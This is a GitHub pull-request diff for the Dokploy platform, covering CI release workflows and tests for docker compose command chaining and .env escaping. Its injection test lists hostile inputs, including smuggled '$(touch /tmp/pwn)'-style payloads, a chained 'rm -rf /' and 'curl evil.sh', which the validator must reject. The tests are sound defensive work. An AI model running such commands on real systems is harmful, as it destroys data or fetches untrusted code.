Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
131 commits
Select commit Hold shift + click to select a range
6959882
feat: implement Docker network management functionality
Siumauricio Feb 21, 2026
a0566cd
refactor: remove unused server value and update network handling logic
Siumauricio Feb 21, 2026
efcad7b
feat: add networkIds column to multiple database tables
Siumauricio Feb 22, 2026
c68fac5
refactor: remove deprecated network and snapshot SQL files
Siumauricio Feb 22, 2026
a8f941b
[autofix.ci] apply automated fixes
autofix-ci[bot] Feb 22, 2026
e7c38d4
feat: create network table and update related schemas
Siumauricio Feb 22, 2026
d542972
fix: enhance server validation in createNetwork function
Siumauricio Feb 22, 2026
43f9f54
fix: use lazy initializer for useState with function calls
karyanayandi Feb 22, 2026
eb80f79
fix: preserve server schedule failures through tee pipeline
Apr 1, 2026
3e11897
fix: return a valid docker host for docker desktop
rpoetrap Apr 7, 2026
e802342
fix sequential awaits
rpoetrap Apr 7, 2026
f21931d
fix: add unzip to arch server set up
daniel-abramov Apr 8, 2026
b1abcb9
refactor: remove deprecated network schema and related snapshots
Siumauricio Apr 13, 2026
fc75b84
Merge branch 'canary' into feat/add-network-management
Siumauricio Apr 13, 2026
5f50816
feat: add network management schema and update related tables
Siumauricio Apr 13, 2026
7da9681
fix: invalidate railpack build cache when env changes
rnkp755 Jun 6, 2026
dc2fc40
fix(logs): respect log level explicitly declared by structured loggers
fcsouza Jun 12, 2026
86ea311
fix: prevent environment form from resetting while editing
veksen Jun 13, 2026
2df02f5
fix(webhook): include added and removed files in watchPaths validation
antigravity-ai Jul 8, 2026
ae95485
fix(ui): structurally resolve unclickable watch path badges
imrja8 Jul 9, 2026
a94f8b9
fix(ui): vertically align enable submodules and improve watchpath but…
imrja8 Jul 9, 2026
92c5879
style(ui): cleaned up class placement
imrja8 Jul 9, 2026
faf600b
fix(logs): don't classify explicit non-error key/values as error
Siumauricio Jul 14, 2026
c9817da
[autofix.ci] apply automated fixes
autofix-ci[bot] Jul 14, 2026
f0f0db4
refactor: remove deprecated network management files and update .giti…
Siumauricio Jul 22, 2026
22c8a16
Merge branch 'canary' into feat/add-network-management
Siumauricio Jul 22, 2026
99e483c
feat(network): add network management schema and update related tables
Siumauricio Jul 22, 2026
f4bcc2e
refactor(networks): enhance network display and management interface
Siumauricio Jul 22, 2026
736a77e
refactor(networks): update network form schema and enhance handling l…
Siumauricio Jul 22, 2026
61c2b73
[autofix.ci] apply automated fixes
autofix-ci[bot] Jul 22, 2026
94ddbf8
refactor(networks): streamline network management and enhance validation
Siumauricio Jul 22, 2026
c578c18
feat(networks): add network configuration viewer and enhance network …
Siumauricio Jul 22, 2026
adcbd6f
feat(networks): enhance network management with server filtering and …
Siumauricio Jul 22, 2026
8a37626
feat(networks): implement network recreation functionality and enhanc…
Siumauricio Jul 22, 2026
f214804
Add cursor pointer style for buttons
SteadEXE Jul 22, 2026
79c127b
[autofix.ci] apply automated fixes
autofix-ci[bot] Jul 22, 2026
0fc7584
Merge pull request #4890 from SteadEXE/canary
Siumauricio Jul 22, 2026
73e4fdd
Merge pull request #4626 from veksen/veksen/textarea-resets-while-edi…
Siumauricio Jul 22, 2026
97885ee
feat(networks): enhance network management and UI components
Siumauricio Jul 25, 2026
aee15ef
[autofix.ci] apply automated fixes
autofix-ci[bot] Jul 25, 2026
ec74035
feat: add new test
Siumauricio Jul 25, 2026
8f0702c
fix(domains): don't render CDN info message as an error in DNS tooltip
AbiRaditya Jul 26, 2026
29fcc74
feat(audit): integrate auditing for network operations
Siumauricio Jul 27, 2026
24d0cff
Merge pull request #3774 from Dokploy/feat/add-network-management
Siumauricio Jul 27, 2026
d768adb
feat(api): enhance OpenAPI schema for application endpoints and netwo…
Siumauricio Jul 27, 2026
2739690
fix: resolve environment variables on application rollback
dmtrTm Jul 28, 2026
4ba7972
fix: avoid postgres 100-argument limit in findRollbackById
dmtrTm Jul 28, 2026
268fd7d
fix(ui): make interactive icons inside badges clickable again
narcisonunez Jul 28, 2026
425d478
Merge pull request #4929 from Dokploy/fix/remove-buttons-not-persisting
Siumauricio Jul 28, 2026
260af23
chore: remove leftover Redis infrastructure code
Siumauricio Jul 28, 2026
b7e5fad
Merge pull request #4930 from Dokploy/chore/remove-redis-leftovers
Siumauricio Jul 28, 2026
069939e
Merge pull request #4924 from dmtrTm/fix/rollback-query-arg-limit
Siumauricio Jul 28, 2026
7047e4f
fix: avoid postgres 100-argument limit in schedule, volume backup and…
Siumauricio Jul 28, 2026
deebf0f
Merge pull request #4931 from Dokploy/fix/postgres-100-arg-limit-finders
Siumauricio Jul 28, 2026
6e1d020
feat(icon): enhance icon management for services
Siumauricio Jul 28, 2026
ba5af51
Merge pull request #4932 from Dokploy/feat/add-icons
Siumauricio Jul 28, 2026
5df820a
Merge pull request #4911 from AbiRaditya/fix/cloudflare-badge-tooltip…
Siumauricio Jul 28, 2026
30e8d9b
fix(preview-deployment): refetch github provider before authenticating
CyrilBIENNE Jul 29, 2026
15bc4b5
fix(ui): persist trigger type selection in GitHub provider forms
narcisonunez Jul 29, 2026
bb73c6e
Merge pull request #4937 from Dokploy/fix/persist-trigger-type-provid…
Siumauricio Jul 30, 2026
1cf81e3
feat: add baseUrl to github provider to support github enterprise url
narcisonunez Jul 31, 2026
018e56a
Merge pull request #4782 from imrja8/fix/watchpath-badge-removal
Siumauricio Jul 31, 2026
268ec1f
fix(ui): scope deployment delete loading
azizbecha Jul 31, 2026
9999f0a
fix(ui): prevent collapsed avatar clipping
azizbecha Jul 31, 2026
6e79270
fix(ui): track concurrent deployment deletes
azizbecha Jul 31, 2026
3b0bdd8
Merge pull request #4948 from azizbecha/fix/collapsed-sidebar-avatar
Siumauricio Aug 2, 2026
2be9e1e
Merge pull request #4947 from azizbecha/fix/4945-deployment-delete-lo…
Siumauricio Aug 2, 2026
081cf3f
fix(ui): keep dropdown menus open on window blur
Siumauricio Aug 2, 2026
51cb7d2
Merge pull request #4953 from Dokploy/fix/dropdown-dialog-window-blur
Siumauricio Aug 2, 2026
325c2a4
fix(ui): show real status code on error page
Siumauricio Aug 2, 2026
3835a6f
Merge pull request #4954 from Dokploy/fix/error-page-status-code
Siumauricio Aug 2, 2026
a058d1f
Merge pull request #4933 from CyrilBIENNE/fix/preview-deployment-gith…
Siumauricio Aug 2, 2026
cbb3450
fix(schedule): return deployment metadata from runManually and fail e…
Siumauricio Aug 2, 2026
11e93dd
Merge pull request #4955 from Dokploy/fix/schedule-run-manually-deplo…
Siumauricio Aug 2, 2026
7b0bcee
feat(auth): add passkey support via better-auth
Siumauricio Aug 2, 2026
81051ca
refactor(passkeys): list passkeys via tRPC instead of better-auth cli…
Siumauricio Aug 2, 2026
d92de5a
fix(build): exclude CLI-only auth config from server dist build
Siumauricio Aug 3, 2026
5d11a04
Merge pull request #4957 from Dokploy/feat/passkeys
Siumauricio Aug 3, 2026
4325605
Remove freshAge from session configuration
Siumauricio Aug 3, 2026
f6b0700
fix(application): remove preview deployments when deleting an applica…
Siumauricio Aug 3, 2026
056b698
Merge pull request #4959 from Dokploy/fix/cleanup-preview-deployments…
Siumauricio Aug 3, 2026
7e38861
Merge remote-tracking branch 'origin/canary' into fix/env-update-issue
Siumauricio Aug 3, 2026
eacb144
[autofix.ci] apply automated fixes
autofix-ci[bot] Aug 3, 2026
a123009
Merge pull request #4557 from rnkp755/fix/env-update-issue
Siumauricio Aug 3, 2026
69a5615
feat(networks): add MTU option to network creation
Siumauricio Aug 3, 2026
8583b3c
[autofix.ci] apply automated fixes
autofix-ci[bot] Aug 3, 2026
89c0e9e
Merge pull request #4960 from Dokploy/feat/network-mtu
Siumauricio Aug 3, 2026
60112d8
fix(logs): require complete no-error values in colon pairs
Siumauricio Aug 3, 2026
9f1ba37
[autofix.ci] apply automated fixes
autofix-ci[bot] Aug 3, 2026
1776e6a
Merge branch 'canary' into fix/structured-log-level
Siumauricio Aug 3, 2026
46c87a2
Merge pull request #4923 from dmtrTm/fix/rollback-environment-variables
narcisonunez Aug 3, 2026
ff39cb5
fix: escape env values written to the Compose .env file so $, #, and …
narcisonunez Aug 3, 2026
d6c2e38
Merge remote-tracking branch 'origin/canary' into feat/add-github-pro…
narcisonunez Aug 3, 2026
14be318
feat: remove unnecesary checks for ip and comments
narcisonunez Aug 4, 2026
108541c
[autofix.ci] apply automated fixes
autofix-ci[bot] Aug 4, 2026
314a31d
fix(requests): guard RequestHost before filtering to avoid crash on m…
narcisonunez Aug 4, 2026
a0162ab
Merge pull request #4966 from Dokploy/fix/requests-hostname-filter-crash
Siumauricio Aug 4, 2026
5ae289c
fix(ui): widen restore backup dialog to match other backup dialogs
Siumauricio Aug 4, 2026
3495fc8
Merge pull request #4971 from Dokploy/fix/restore-dialog-width
Siumauricio Aug 4, 2026
0124613
Merge pull request #4944 from Dokploy/feat/add-github-provider-baseurl
Siumauricio Aug 4, 2026
5d231bf
fix(domain): allow single-label hostnames without a TLD
narcisonunez Aug 4, 2026
3f98208
Merge pull request #4772 from rifatdinc/fix-watch-paths-added-removed…
narcisonunez Aug 6, 2026
2f8af90
feat(ci): add hotfix cherry-pick and release workflows
Siumauricio Aug 6, 2026
ba24ae6
Merge pull request #4977 from Dokploy/feat/hotfix-release-flow
Siumauricio Aug 6, 2026
75448f3
Merge pull request #4972 from Dokploy/fix/domain-single-label-hostname
Siumauricio Aug 6, 2026
35af10c
Bump version to v0.30.0
Siumauricio Aug 6, 2026
5dd2b5b
Merge branch 'main' into canary
Siumauricio Aug 6, 2026
06b67d4
fix(ci): push hotfix cherry-picks with PAT to satisfy branch rules
Siumauricio Aug 6, 2026
4ce24df
Merge pull request #4982 from Dokploy/fix/hotfix-cherry-pick-permissions
Siumauricio Aug 6, 2026
472ebed
fix(ci): create release tags on the pushed commit instead of default …
Siumauricio Aug 6, 2026
1f04ebf
Merge pull request #4983 from Dokploy/fix/release-tag-target-commitish
Siumauricio Aug 6, 2026
abe7746
Merge pull request #4962 from Dokploy/fix/compose-env-file-special-chars
Siumauricio Aug 6, 2026
b6190ff
fix(ci): pin pnpm and strip v prefix in sync-version job
Siumauricio Aug 6, 2026
53feb9d
Merge pull request #4984 from Dokploy/fix/sync-version-pnpm-pin
Siumauricio Aug 6, 2026
94098b2
fix(ui): expose isStaticSpa toggle for nixpacks + publish directory
elisiumm Aug 6, 2026
ac57e22
fix: allow docker compose command chaining
ews-pgasser Aug 6, 2026
d8bb3f4
Merge pull request #4176 from daniel-abramov/canary
narcisonunez Aug 6, 2026
3e306e5
Merge pull request #4122 from Gabrielgvl/fix/server-schedule-pipefail
narcisonunez Aug 6, 2026
27377da
Merge pull request #3867 from karyanayandi/fix/lazy-initializer-for-u…
narcisonunez Aug 6, 2026
dd04312
Merge pull request #4994 from elisiumm/fix/nixpacks-static-spa-toggle
Siumauricio Aug 6, 2026
3406875
Merge pull request #4824 from Dokploy/fix/log-viewer-false-error-clas…
Siumauricio Aug 6, 2026
309dd56
Merge pull request #4624 from fcsouza/fix/structured-log-level
Siumauricio Aug 6, 2026
b3e7a8a
fix: parse Block I/O and Network I/O stats to numeric MB so monitorin…
Siumauricio Aug 6, 2026
9f69f6c
Merge pull request #4998 from Dokploy/fix/monitoring-io-charts-nan
Siumauricio Aug 6, 2026
a8c35f7
fix: pin traefik routing to the isolated network when isolated deploy…
Siumauricio Aug 7, 2026
bcab5b0
Merge pull request #5004 from Dokploy/fix/isolated-deployment-traefik…
Siumauricio Aug 7, 2026
fe0a84d
Merge branch 'Dokploy:canary' into fix/chaining-canary
ews-pgasser Aug 7, 2026
f3c7edc
fix: use proper linting
ews-pgasser Aug 7, 2026
65d2853
chore: add tests
ews-pgasser Aug 7, 2026
91258d0
Merge pull request #4997 from ews-pgasser/fix/chaining-canary
narcisonunez Aug 7, 2026
1de7b51
Merge pull request #4171 from rpoetrap/fix/docker-host
narcisonunez Aug 7, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 16 additions & 12 deletions .github/workflows/dokploy.yml
Original file line number Diff line number Diff line change
Expand Up @@ -140,6 +140,7 @@ jobs:
runs-on: ubuntu-latest
outputs:
version: ${{ steps.get_version.outputs.version }}
npm_version: ${{ steps.get_version.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v4
Expand All @@ -151,6 +152,7 @@ jobs:
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT
echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT

- name: Fetch install.sh
run: |
Expand All @@ -164,6 +166,7 @@ jobs:
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ steps.get_version.outputs.version }}
target_commitish: ${{ github.sha }}
name: ${{ steps.get_version.outputs.version }}
generate_release_notes: true
draft: false
Expand All @@ -180,71 +183,72 @@ jobs:
- name: Checkout
uses: actions/checkout@v4

- uses: pnpm/action-setup@v4
with:
version: 10.22.0

- name: Sync version to MCP repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
cd /tmp/mcp-repo

jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json

npm install -g pnpm
pnpm install
pnpm run fetch-openapi
pnpm run generate

git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push

echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}"
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"

- name: Sync version to CLI repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
cd /tmp/cli-repo

jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json

cp ${{ github.workspace }}/openapi.json ./openapi.json
npm install -g pnpm
pnpm install
pnpm run generate

git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push

echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}"
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"

- name: Sync version to SDK repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
cd /tmp/sdk-repo

jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json

cp ${{ github.workspace }}/openapi.json ./openapi.json
npm install -g pnpm
pnpm install
pnpm run generate

git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push

echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}"
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
36 changes: 36 additions & 0 deletions .github/workflows/hotfix-cherry-pick.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
name: Hotfix Cherry-Pick

on:
pull_request_target:
types: [closed, labeled]

concurrency:
group: hotfix-to-main
cancel-in-progress: false

jobs:
cherry-pick:
if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- name: Checkout main
uses: actions/checkout@v4
with:
ref: main
fetch-depth: 0
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}

- name: Cherry-pick fix to main
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
SHA="${{ github.event.pull_request.merge_commit_sha }}"
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
git cherry-pick -x -m 1 "$SHA"
else
git cherry-pick -x "$SHA"
fi
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
git push origin main
28 changes: 28 additions & 0 deletions .github/workflows/hotfix-release.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
name: Hotfix Release

on:
workflow_dispatch:

concurrency:
group: hotfix-to-main
cancel-in-progress: false

jobs:
release:
runs-on: ubuntu-latest
steps:
- name: Checkout main
uses: actions/checkout@v4
with:
ref: main
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}

- name: Bump patch version and push
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
git commit -am "chore: release ${NEW}"
git push origin main
5 changes: 4 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -43,4 +43,7 @@ yarn-error.log*
*.pem


.db
.db

.playwright-*
.credentials
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ const runsSafely = (command: string) => {

const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`\`touch ${MARK}\``,
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
Expand Down Expand Up @@ -101,4 +101,69 @@ describe("compose createCommand injection", () => {
"deploy/docker-compose.prod.yml",
);
});

it("allows chained docker compose commands with '&&'", () => {
const cmd = createCommand({
...base,
command:
"compose pull && docker compose down && docker compose up -d --build",
} as any);
expect(cmd).toBe(
"compose pull && docker compose down && docker compose up -d --build",
);
});

it("allows chaining with the legacy 'docker-compose' spelling", () => {
const cmd = createCommand({
...base,
command: "compose pull && docker-compose down",
} as any);
expect(cmd).toBe("compose pull && docker-compose down");
});

it("rejects a single '&' used for backgrounding", () => {
expect(() =>
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
).toThrow(/Single '&' is not allowed/);
});

it("rejects a malformed '&&&' chain", () => {
expect(() =>
createCommand({
...base,
command: "compose pull &&& docker compose up -d",
} as any),
).toThrow(/Single '&' is not allowed/);
});

it("rejects chained segments that are not docker compose invocations", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && rm -rf /",
} as any),
).toThrow(/must strictly start with 'docker compose '/);
});

it("rejects an attempted injection smuggled inside a chained segment", () => {
for (const bad of [
"compose pull && docker compose up -d; touch /tmp/pwn",
"compose pull && docker compose up -d $(touch /tmp/pwn)",
"compose pull && docker compose up -d `touch /tmp/pwn`",
"compose pull && docker compose up -d | touch /tmp/pwn",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});

it("rejects a chain that only pretends to start with docker compose later in the string", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && curl evil.sh | docker compose up -d",
} as any),
).toThrow(/Invalid characters/);
});
});
96 changes: 96 additions & 0 deletions apps/dokploy/__test__/compose/env-file-literals.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,96 @@
import { execFileSync } from "node:child_process";
import { mkdirSync, rmSync, writeFileSync } from "node:fs";
import { join } from "node:path";
import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
import { afterEach, describe, expect, it } from "vitest";

// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
const appName = `env-file-literals-${process.pid}`;
const projectPath = join(process.cwd(), ".docker", "compose", appName);
const codePath = join(projectPath, "code");

afterEach(() => {
try {
execFileSync("docker", ["compose", "down", "--remove-orphans"], {
cwd: codePath,
stdio: "ignore",
});
} catch {
// Project may not have been created (e.g. an earlier assertion failed).
}
rmSync(projectPath, { force: true, recursive: true });
});

const cases: Record<string, string> = {
PASSWORD: "pa$$word",
SPECIAL: '!"#$%&/()=?',
NESTED_JSON: '{"nested":{"a":1}}',
MAIL_PASSWORD: "abc#de",
TRAILING_BACKSLASH: "trailing\\",
QUOTE_INSIDE: 'she said "hi"',
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
};

// How each value must be typed in the UI so the (unchanged) dotenv input
// parser resolves it to the raw string in `cases` above.
const inputEncoding: Record<string, string> = {
PASSWORD: "pa$$word",
SPECIAL: `'!"#$%&/()=?'`,
NESTED_JSON: '{"nested":{"a":1}}',
MAIL_PASSWORD: `"abc#de"`,
TRAILING_BACKSLASH: "trailing\\",
QUOTE_INSIDE: 'she said "hi"',
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
};

describe("getCreateEnvFileCommand", () => {
it("writes special environment values that Docker Compose reads back literally", () => {
mkdirSync(codePath, { recursive: true });

const serviceEnv = Object.entries(inputEncoding)
.map(([key, value]) => `${key}=${value}`)
.join("\n");

const command = getCreateEnvFileCommand({
appName,
composePath: "docker-compose.yml",
env: serviceEnv,
randomize: false,
suffix: "",
serverId: null,
environment: { project: { env: "" }, env: "" },
} as Parameters<typeof getCreateEnvFileCommand>[0]);

execFileSync("bash", ["-c", command]);

const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys(
cases,
)
.map((key) => ` - ${key}=\${${key}}`)
.join("\n")}\n`;
writeFileSync(join(codePath, "docker-compose.yml"), composeFile);

const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;

const out = execFileSync(
"docker",
["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
{ cwd: codePath, encoding: "utf8" },
);

const parts = out.split("\0");
const actual: Record<string, string> = {};
for (let i = 0; i < parts.length - 1; i += 2) {
actual[parts[i] as string] = parts[i + 1] as string;
}

for (const [key, value] of Object.entries(cases)) {
expect(actual[key], key).toBe(value);
}
}, 60000);
});
Loading
Loading